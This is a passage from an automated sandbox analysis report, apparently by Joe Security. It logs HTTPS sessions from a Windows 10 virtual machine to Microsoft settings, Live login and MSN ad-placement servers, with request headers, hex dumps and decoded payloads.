Date: Thu, 25 Nov 2021 16:27:33 GMT
Connection: close
Content-Length: 11297

2021-11-25 16:27:33 UTC 136 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.2.4 49738 40.127.240.158 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:33 UTC 147 OUT GET /settings/v2.0/wsd/muse?os=Windows&osVer=10.0.17134.1.amd64fre.rs4_release.180410-1804&deviceId=
a2ab526a-d38d-4fc9-8ba0-e34b8d6354e8&sampleId=8875098&deviceClass=Windows.Desktop&sku=48&locale=en-U
S&ring=Retail&AttrDataVer=107&App=&AppVer=10.0&ubr=1 HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
If-None-Match: 1285:2EA4AD209B1132B4::2F0891BBB3
User-Agent: cpprestsdk/2.8.0
Host: settings-win.data.microsoft.com

2021-11-25 16:27:33 UTC 147 IN HTTP/1.1 200 OK
Cache-Control: no-cache,no-store
Content-Length: 1399
Content-Type: application/json
ETag: 1440:2EA4AD2087FCFF3A::2F0EC4F702
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 25 Nov 2021 16:27:32 GMT
Connection: close

2021-11-25 16:27:33 UTC 148 IN Data Raw: 7b 22 72 65 66 72 65 73 68 49 6e 74 65 72 76 61 6c 22 3a 22 31 34 34 30 22 2c 22 71 75 65 72 79 55 72 6c 22 
3a 22 2f 73 65 74 74 69 6e 67 73 2f 76 32 2e 30 2f 77 73 64 2f 6d 75 73 65 22 2c 22 73 65 74 74 69 6e 67 73 22 3a 7b 22 
44 49 53 50 4c 41 59 42 4c 4f 43 4b 4f 56 45 52 52 49 44 45 46 4f 52 52 45 42 4f 4f 54 52 45 51 55 49 52 45 44 49 4e 44 
41 59 53 22 3a 22 30 22 2c 22 45 4e 48 41 4e 43 45 44 41 55 54 4f 52 45 42 4f 4f 54 54 4f 49 4e 54 45 52 4d 45 44 49 41 
54 45 41 55 54 4f 52 45 42 4f 4f 54 49 4e 48 4f 55 52 53 22 3a 22 32 34 22 2c 22 45 4e 48 41 4e 43 45 44 45 4e 47 41 47 
45 44 41 43 43 45 50 54 41 55 54 4f 54 4f 45 4e 54 45 52 41 55 54 4f 49 4e 48 4f 55 52 53 22 3a 22 34 38 22 2c 22 45 4e 
48 41 4e 43 45 44 45 4e 47 41 47 45 44 41 55 54 4f 52 45 
Data Ascii: {"refreshInterval":"1440","queryUrl":"/settings/v2.0/wsd/muse","settings":{"DISPLAYBLOCKOVERRIDEFO
RREBOOTREQUIREDINDAYS":"0","ENHANCEDAUTOREBOOTTOINTERMEDIATEAUTOREBOOTINHOURS":"
24","ENHANCEDENGAGEDACCEPTAUTOTOENTERAUTOINHOURS":"48","ENHANCEDENGAGEDAUTORE

Session ID Source IP Source Port Destination IP Destination Port Process

12 192.168.2.4 49739 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 43 of 214



2021-11-25 16:27:33 UTC 149 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4774
Host: login.live.com

2021-11-25 16:27:33 UTC 149 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:33 UTC 187 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:33 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 50117f07-e815-40a1-a785-d81fcbfab9ad
PPServer: PPV: 30 H: BL6PPF40C5BAFEB V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:33 GMT
Connection: close
Content-Length: 11069

2021-11-25 16:27:33 UTC 188 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

13 192.168.2.4 49740 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:33 UTC 154 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4776
Host: login.live.com

2021-11-25 16:27:33 UTC 155 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1
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2021-11-25 16:27:33 UTC 164 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:33 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 619a83aa-cbbe-437f-8a3a-0a70e4f86234
PPServer: PPV: 30 H: BL02PF186DD013D V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:32 GMT
Connection: close
Content-Length: 11093

2021-11-25 16:27:33 UTC 165 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

14 192.168.2.4 49741 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:33 UTC 159 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4776
Host: login.live.com

2021-11-25 16:27:33 UTC 160 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:33 UTC 176 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:33 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 8282581f-1c12-4e47-80f4-69592f85901a
PPServer: PPV: 30 H: BL02PF40C23CC94 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:32 GMT
Connection: close
Content-Length: 11093

2021-11-25 16:27:33 UTC 176 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP Destination Port Process

15 192.168.2.4 49742 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Copyright Joe Security LLC 2021 Page 45 of 214



Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:34 UTC 198 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20211125T162726Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=be335a7cf27e4cfb8244692e601bf322&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1269974&metered=false&nettype=ethernet&npid=sc-
310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=
VMware7%2C1&tl=2&tsu=1269974&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32068&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAU+CVBfQcFvEv2DZI9cfqZBAbEzGMAAbujVbCDVptmlt968P3qCdflDmM4DtYY
v+w7BbmmDR1diN6waiXW6pf+OMQuk05FkO4mXhhkJDXwVvlK8Qgnl7d6wmUc2PCpOTIxQENqHpwJI/vVV02mx8K3cL
fymGDG14uf+/fr6vWCJEFTXwqT1tagj4uwu1v+DDNorzsJAUbwdr8tiNqW5YSTTfES8Smc4E0t2BMC2L3Z23e3MTnG
JNKlxcPbjqYS665huso5k0Sq7BHpyvK4jlhdyDElufoTPXIqkDvVKbg/grQUNsRHZi3cIHxoLRLzOAdEd9T4rFAqy2
gP1RVT5W4pFRoflNOIy+fJaovyRKTztYpmgRikBMgDZgAACJU/EpcxYcROqAEOnhRS1LiiT5EJbT8+vb59u9AAJGtf
rUUMU4Ou0jN9kKhfnhDfKQzyo072jnT5NZ36xe6g4f4v5ZDpje9DbXh+owKkkApeYJ9ixLGLJOWtfR21qqmfA6sn38
QOv1Ba29FR0AKGStbcEEXd2DiWRhlaaBYOqHDhHU954sOmhwzCk5PCuLw1uWWmKFefJz3oWAS4Su3Gbg
xPQIUOtZ17K53kfNIOb5CgruefgTdI6w6nn89vLdwNqFF8Xr2wnOiV746L+EAEKs9sHEs03XgT4X2I5GJZ70MndTsV
I6k7VW6DpmBraxUkf1GLLMO27LmXDj6vs9zvjzxe31mL61fQHs+c7/m0i0G4uamQIKMKItQ2LgLwPDPOSqYZrnoOxD
J1SGMfgRtm6SJ/Ow01pUWVNIBIWgGsiiEy2ALU+X9kEQYoeELCG311iJs5xw+4dvYYaWN6vjLOERFW2LSGjlwerOSi
MzRzDzXcJkOtmUtuppXWrDqXhx+z8KhSHLFuaLdUcunhPLTM1eGFGFrJ05a1ACLxNuZTe48bC7f5ck28XsSO+9s8Nt
bWWh3B1QE=&p=
Cache-Control: no-cache
MS-CV: +kZqK6Xpb0SNq8b/.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2021-11-25 16:27:34 UTC 203 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: AA3T2xRaB1qTr6r/ZSt6a9qvaeX1aEc4bgZmmuXJjkm5/28UYsUGTE+XZvP3mwqpg1tnDx9EFfY/LNE
DaetUth9RGsjGXvKmlg8Ol6NCMrc8QjCpyY0b8HErB77vKk23EklifNbRHfEsyQN56u/0qJmQiGmtp8fv0+2wyUadf
w7vGEtstz3xZFc+LiEeEwQgk5Hpnw+ALj0mgSS+3nMLGBVbNPufRyNnJPiuhkd3cha88N+4azotJQJh/d3F/vQEjrP
zAQyUtkobbYucNE6BF38dSdWh9JQJnK5hsI2AsgBzwPiywpUT35MoJXRuUdLuQpCtCDbKlUCE5if3hXyhXQ==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 25 Nov 2021 16:27:33 GMT
Connection: close

2021-11-25 16:27:34 UTC 203 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 
73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 
20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 31 2d 31 31 2d 32 
35 54 32 30 3a 32 37 3a 33 34 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No e
ligible content.)."}],"refreshtime":"2021-11-25T20:27:34"}}

Session ID Source IP Source Port Destination IP Destination Port Process

16 192.168.2.4 49743 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:34 UTC 201 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20211125T162726Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=9cacf83868ed4d4e941095f29dc167de&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1269974&metered=false&nettype=ethernet&npid=sc-
314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7
%2C1&tl=2&tsu=1269974&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32068&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAU+CVBfQcFvEv2DZI9cfqZBAbEzGMAAdNSy2DX1kTQbuOLGzEnVOdyS/lytdzW
KOuIn4jP+10U1mvSjV4g6poYKfDXEl1lCYwMM9o4IFvR2PcFhZA1/b7GKcBi1s3xcMS44+ht/atam9SbbQsEaVM232
6teoiLX76B80/PzLgaCRWY9EkdWp+OfnFyOTkxL9oy+vWBYCNCyyxlWulasFas0vMnYGw/9IzMq+F8tMBPBFBnau3S
75fcAzPTXx2eXobPDC251pf/rkwBOkhxziasLzxd74kAt3j2ejGlHfijcHHBn+9iw4IQCIqa03iB5yFUx6FqIWwbgzG1IJuzspnw
h+iNbeknn2B6NgXhg2ad4ixxcx66lCgDZgAACOAI1u19+6wrqAG63MSMju4v7xiK/uekr6mnc/h6JSfsmwZRFFthSP
psRM3gEh5+HcfCtxjf6GzabeZGtRSqfKrhHjLOd8PhQPdNPVutLRjb+4H4bI+Za2WIfvRdD8+kHrpjnCgEtcxnJsnm
zqqoYEmKvUHI7ayj6wIUlha3xC9BGl30B/fIMsLTv0i4dmEq7bYScF8Mfd8uA7+euLeTOFBSKGun508B6ey1y+vBOE
DmaR4/zvZ3xBrMJw69XgTJ1YBffFUWv/PmlE21v5zLuZPHBmHRPvwaR7AGUP6qjxXFNV8bJnx7hw3cKojB/oaR5TuC
WIiYkuKxEtG5JAqZFqbiJMsjATh8Qr5fJd2hCfA3KyC7NRaByHmEhcKYwMeQ8fn6AG7tDKoVl60nV36D6Bif4AY5rr
cXMNaAWHLhU5tMr2nXwJppEqATIeCfLndmdYhtzYjF2Q3fm2fnBwGzww2ab82Jn78mfSQyvgdon9VIlGI4rJo/Ylu9
VVjY6YUkG9DmvKK3afwnQVJNi9GC88Q/iohRprGMjErAlWuoCO1SIgylLiigQcctKlLhJYhW1KuN1QE=&p=
Cache-Control: no-cache
MS-CV: +kZqK6Xpb0SNq8b/.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2021-11-25 16:27:34 UTC 204 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=1048
Content-Length: 57311
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T700342085-
C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNCRFJ3Q2_9WZ
DNCRFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},
{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6
J6VK_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJ
V8_9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: La7zT9N470thnPw7ochhgBmKHcvN9zEx2CaM2bOlkXpOF4110DvAsadUA6aD3oevHG+HzChvwC9oeBg
5qziiNBsEfhbaFxAeJi5+bKVFsvTcee8KTC6OxHGsj7F2E72KRYMahcot+iAbDrkZwaI1uvRODWHh/QAv3jE4tEth6
RbOBH647pOd5Qb2PJlchz/5f1B+2SKmuTwaqdrbYMsYSnl4uOAyVdvPdQeTZQL9bOTY0GS8ALBmNqnMlbAjj/oiCnQ
D2DYNvi7nTrEuBppGalM60DfAbP6WSwfI+Xq/qzKU7K3H5MqbbKgIf197NyXZoW18gtRk58AB1wGUo10ORw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
